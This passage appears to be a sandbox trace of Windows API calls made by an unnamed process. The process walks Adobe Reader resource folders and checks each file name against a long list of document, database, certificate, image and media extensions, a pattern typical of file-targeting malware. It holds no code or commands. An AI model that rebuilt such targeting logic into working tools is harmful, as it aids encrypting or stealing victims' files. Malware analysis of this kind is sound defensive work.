lstrlenW (lpString=".j2k") returned 4 [0269.117] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0269.117] lstrlenW (lpString=".java") returned 5 [0269.118] lstrcmpiW (lpString1=".java", lpString2="r.png") returned -1 [0269.118] lstrlenW (lpString=".jp2") returned 4 [0269.118] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0269.118] lstrlenW (lpString=".jpc") returned 4 [0269.118] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0269.118] lstrlenW (lpString=".jpe") returned 4 [0269.118] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0269.119] lstrlenW (lpString=".jpeg") returned 5 [0269.119] lstrcmpiW (lpString1=".jpeg", lpString2="r.png") returned -1 [0269.119] lstrlenW (lpString=".jpf") returned 4 [0269.119] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0269.119] lstrlenW (lpString=".jpg") returned 4 [0269.119] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0269.119] lstrlenW (lpString=".jpx") returned 4 [0269.119] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0269.119] lstrlenW (lpString=".js") returned 3 [0269.119] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0269.119] lstrlenW (lpString=".jsf") returned 4 [0269.119] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0269.119] lstrlenW (lpString=".json") returned 5 [0269.119] lstrcmpiW (lpString1=".json", lpString2="r.png") returned -1 [0269.119] lstrlenW (lpString=".jsp") returned 4 [0269.119] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0269.119] lstrlenW (lpString=".kdc") returned 4 [0269.120] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0269.120] lstrlenW (lpString=".kmz") returned 4 [0269.120] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0269.120] lstrlenW (lpString=".kwm") returned 4 [0269.120] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0269.120] lstrlenW (lpString=".lasso") returned 6 [0269.120] lstrcmpiW (lpString1=".lasso", lpString2="er.png") returned -1 [0269.120] lstrlenW (lpString=".lbi") returned 4 [0269.120] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0269.120] lstrlenW (lpString=".lgf") returned 4 [0269.120] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0269.120] lstrlenW (lpString=".lgp") returned 4 [0269.120] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0269.120] lstrlenW (lpString=".log") returned 4 [0269.120] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0269.120] lstrlenW (lpString=".m1v") returned 4 [0269.120] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0269.120] lstrlenW (lpString=".m4a") returned 4 [0269.120] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0269.120] lstrlenW (lpString=".m4v") returned 4 [0269.120] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0269.120] lstrlenW (lpString=".max") returned 4 [0269.121] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0269.121] lstrlenW (lpString=".md") returned 3 [0269.121] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0269.121] lstrlenW (lpString=".mda") returned 4 [0269.121] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0269.121] lstrlenW (lpString=".mdb") returned 4 [0269.121] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0269.121] lstrlenW (lpString=".mde") returned 4 [0269.121] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0269.121] lstrlenW (lpString=".mdf") returned 4 [0269.121] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0269.121] lstrlenW (lpString=".mdw") returned 4 [0269.121] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0269.121] lstrlenW (lpString=".mef") returned 4 [0269.121] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0269.121] lstrlenW (lpString=".mft") returned 4 [0269.121] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0269.121] lstrlenW (lpString=".mfw") returned 4 [0269.121] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0269.121] lstrlenW (lpString=".mht") returned 4 [0269.121] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0269.121] lstrlenW (lpString=".mhtml") returned 6 [0269.121] lstrcmpiW (lpString1=".mhtml", lpString2="er.png") returned -1 [0269.121] lstrlenW (lpString=".mka") returned 4 [0269.122] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".mkidx") returned 6 [0269.122] lstrcmpiW (lpString1=".mkidx", lpString2="er.png") returned -1 [0269.122] lstrlenW (lpString=".mkv") returned 4 [0269.122] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".mos") returned 4 [0269.122] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".mov") returned 4 [0269.122] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".mp3") returned 4 [0269.122] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".mp4") returned 4 [0269.122] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".mpeg") returned 5 [0269.122] lstrcmpiW (lpString1=".mpeg", lpString2="r.png") returned -1 [0269.122] lstrlenW (lpString=".mpg") returned 4 [0269.122] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".mpv") returned 4 [0269.122] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".mrw") returned 4 [0269.122] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".msg") returned 4 [0269.122] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".mxl") returned 4 [0269.122] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0269.122] lstrlenW (lpString=".myd") returned 4 [0269.123] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".myi") returned 4 [0269.123] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".nef") returned 4 [0269.123] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".nrw") returned 4 [0269.123] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".obj") returned 4 [0269.123] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".odb") returned 4 [0269.123] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".odc") returned 4 [0269.123] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".odm") returned 4 [0269.123] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".odp") returned 4 [0269.123] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".ods") returned 4 [0269.123] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".oft") returned 4 [0269.123] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".one") returned 4 [0269.123] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0269.123] lstrlenW (lpString=".onepkg") returned 7 [0269.123] lstrcmpiW (lpString1=".onepkg", lpString2="der.png") returned -1 [0269.123] lstrlenW (lpString=".onetoc2") returned 8 [0269.124] lstrcmpiW (lpString1=".onetoc2", lpString2="ader.png") returned -1 [0269.124] lstrlenW (lpString=".opt") returned 4 [0269.124] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".oqy") returned 4 [0269.124] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".orf") returned 4 [0269.124] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".p12") returned 4 [0269.124] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".p7b") returned 4 [0269.124] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".p7c") returned 4 [0269.124] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".pam") returned 4 [0269.124] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".pbm") returned 4 [0269.124] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".pct") returned 4 [0269.124] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".pcx") returned 4 [0269.124] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".pdd") returned 4 [0269.124] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".pdf") returned 4 [0269.124] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0269.124] lstrlenW (lpString=".pdp") returned 4 [0269.124] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0269.125] lstrlenW (lpString=".pef") returned 4 [0269.125] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0269.125] lstrlenW (lpString=".pem") returned 4 [0269.125] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0269.125] lstrlenW (lpString=".pff") returned 4 [0269.125] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0269.125] lstrlenW (lpString=".pfm") returned 4 [0269.125] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0269.125] lstrlenW (lpString=".pfx") returned 4 [0269.125] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0269.125] lstrlenW (lpString=".pgm") returned 4 [0269.125] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0269.125] lstrlenW (lpString=".php") returned 4 [0269.125] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0269.125] lstrlenW (lpString=".php3") returned 5 [0269.125] lstrcmpiW (lpString1=".php3", lpString2="r.png") returned -1 [0269.125] lstrlenW (lpString=".php4") returned 5 [0269.125] lstrcmpiW (lpString1=".php4", lpString2="r.png") returned -1 [0269.125] lstrlenW (lpString=".php5") returned 5 [0269.125] lstrcmpiW (lpString1=".php5", lpString2="r.png") returned -1 [0269.125] lstrlenW (lpString=".phtml") returned 6 [0269.125] lstrcmpiW (lpString1=".phtml", lpString2="er.png") returned -1 [0269.125] lstrlenW (lpString=".pict") returned 5 [0269.126] lstrcmpiW (lpString1=".pict", lpString2="r.png") returned -1 [0269.126] lstrlenW (lpString=".pl") returned 3 [0269.126] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0269.126] lstrlenW (lpString=".pls") returned 4 [0269.126] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0269.126] lstrlenW (lpString=".pm") returned 3 [0269.126] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0269.126] lstrlenW (lpString=".png") returned 4 [0269.126] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0269.126] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0269.126] lstrlenW (lpString="bg_pattern_RHP.png") returned 18 [0269.126] lstrlenW (lpString=".1cd") returned 4 [0269.126] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0269.126] lstrlenW (lpString=".3ds") returned 4 [0269.126] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0269.126] lstrlenW (lpString=".3fr") returned 4 [0269.126] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0269.126] lstrlenW (lpString=".3g2") returned 4 [0269.126] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0269.126] lstrlenW (lpString=".3gp") returned 4 [0269.126] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0269.126] lstrlenW (lpString=".7z") returned 3 [0269.127] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0269.127] lstrlenW (lpString=".accda") returned 6 [0269.128] lstrcmpiW (lpString1=".accda", lpString2="HP.png") returned -1 [0269.128] lstrlenW (lpString=".accdb") returned 6 [0269.128] lstrcmpiW (lpString1=".accdb", lpString2="HP.png") returned -1 [0269.128] lstrlenW (lpString=".accdc") returned 6 [0269.128] lstrcmpiW (lpString1=".accdc", lpString2="HP.png") returned -1 [0269.128] lstrlenW (lpString=".accde") returned 6 [0269.128] lstrcmpiW (lpString1=".accde", lpString2="HP.png") returned -1 [0269.128] lstrlenW (lpString=".accdt") returned 6 [0269.128] lstrcmpiW (lpString1=".accdt", lpString2="HP.png") returned -1 [0269.128] lstrlenW (lpString=".accdw") returned 6 [0269.128] lstrcmpiW (lpString1=".accdw", lpString2="HP.png") returned -1 [0269.128] lstrlenW (lpString=".adb") returned 4 [0269.128] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0269.128] lstrlenW (lpString=".adp") returned 4 [0269.128] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0269.128] lstrlenW (lpString=".ai") returned 3 [0269.128] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0269.128] lstrlenW (lpString=".ai3") returned 4 [0269.129] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0269.129] lstrlenW (lpString=".ai4") returned 4 [0269.129] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0269.129] lstrlenW (lpString=".ai5") returned 4 [0269.129] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0269.129] lstrlenW (lpString=".ai6") returned 4 [0269.129] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0269.129] lstrlenW (lpString=".ai7") returned 4 [0269.129] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0269.129] lstrlenW (lpString=".ai8") returned 4 [0269.129] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0269.129] lstrlenW (lpString=".anim") returned 5 [0269.129] lstrcmpiW (lpString1=".anim", lpString2="P.png") returned -1 [0269.129] lstrlenW (lpString=".arw") returned 4 [0269.129] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0269.129] lstrlenW (lpString=".as") returned 3 [0269.129] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0269.129] lstrlenW (lpString=".asa") returned 4 [0269.129] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0269.131] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons.png", cAlternateFileName="")) returned 1 [0269.131] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0269.131] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0269.131] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0269.131] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0269.132] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0269.132] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0269.132] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0269.132] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0269.132] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0269.134] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.134] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0269.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5050048 [0269.136] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0269.660] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0269.660] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0269.662] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0269.662] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons.png", cAlternateFileName="")) returned 1 [0269.662] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0269.662] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0269.662] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0269.663] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0269.663] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0269.663] FindNextFileW (in: 